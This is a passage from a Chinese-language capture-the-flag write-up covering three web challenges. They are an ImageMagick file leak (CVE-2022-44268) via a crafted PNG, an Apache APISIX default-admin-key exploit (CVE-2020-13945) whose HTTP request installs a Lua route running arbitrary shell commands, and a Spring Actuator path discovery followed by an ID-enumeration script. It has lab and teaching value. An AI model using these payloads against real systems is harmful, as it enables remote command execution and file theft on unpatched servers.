tmp += (token[j].code xor plaintext[j].code xor des[j].code).toChar()
}
val encodeTmp = String(Base64.encodeBase64(tmp.toByteArray()))
println("tmp:${encodeTmp}")
val result = injectToken(encodeTmp)
println(result)
println()
}
}
}
}
web-30 魔法再现
去年有两个这样的题目,今年又来了一个。猜测是ImageMagick相关的漏洞。
先看现象,上传一个图片文件(限定了几种格式),会转成png文件,然后图片宽高被调整到50x50。页面中也出现了flag{******}字样,目标明确了,就是想办法读取index.php文件里的flag。
然后开始找imagemagick的相关漏洞
================找了好几天的分割线=================
偶然间发现了2022年新的漏洞CVE-2022-44268远程文件泄露漏洞。具体漏洞内容就不详述了。下面说利用过程。
- 首先准备一个空白的png用于上传。
89504E47 0D0A1A0A 0000000D 49484452 00000001 00000001 01000000 00376EF9 24000000 0A494441 54789C63 68000000 82008177 CD72B600 00000049 454E44AE 426082
- 给png的exif写入profile和文件路径,用于触发文件读取。
brew install pngcrush
pngcrush -text a "profile" "index.php" pngin.png
profile是exif的属性名,index.php是读取的文件名。
3. 将文件上传到网站,把处理后的文件下载下来。
4. 解析处理后文件的数据
brew install exif
exiftool 645f4aeaa8285.png -b
5. 把这段代码用hex解码,获取文件内容,从中可以找到flag。(注意开头的862是无用的,不要跟后面的在一起解码。)
web-31 密钥,密钥,不能默认
观察端口9080和返回的header-server数据,判断是 Apache APISIX,通过搜索发现有个默认密钥漏洞 CVE-2020-13945。构造请求,添加任意命令执行的路由。
POST /apisix/admin/routes HTTP/1.1
Host: 10.167.32.15:9080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Connection: close
Content-Length: 415
{
"uri": "/hello/sumy.html",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
然后访问执行命令,获取目录内容,进而得到flag
http://10.167.32.15:9080/hello/sumy.html?cmd=ls
web-32 Actuator 404
这个题知道是找actuator的端点,直接访问是返回404。猜测缺少一个路径前缀。扫了所有3位字符的组合路径/aaa/actuator/env没发现有内容。。。
==================卡了很久的分割线=================
放出了hint:/xiaomi/management/
拼接路径/xiaomi/management/actuator/env找到了端点。然后就是各种翻找,在/xiaomi/management/actuator/httptrace发现了一个奇怪的地址。/xiaomi/ctf/api/v1/userInfo?id=1
遍历id,在第999个ID发现了flag。
import requests
def requestUserInfo(id):
url = "http://10.167.96.4:8080/xiaomi/ctf/api/v1/userInfo?id={}".format(id)
payload = {}
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Cache-Control': 'no-cache',
'Connection': 'keep-alive',
'Pragma': 'no-cache',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36'
}
response = requests.request("GET", url, headers=headers, data=payload)
print(id)
print(response.json())
for i in range(600, 1000):
requestUserInfo(i)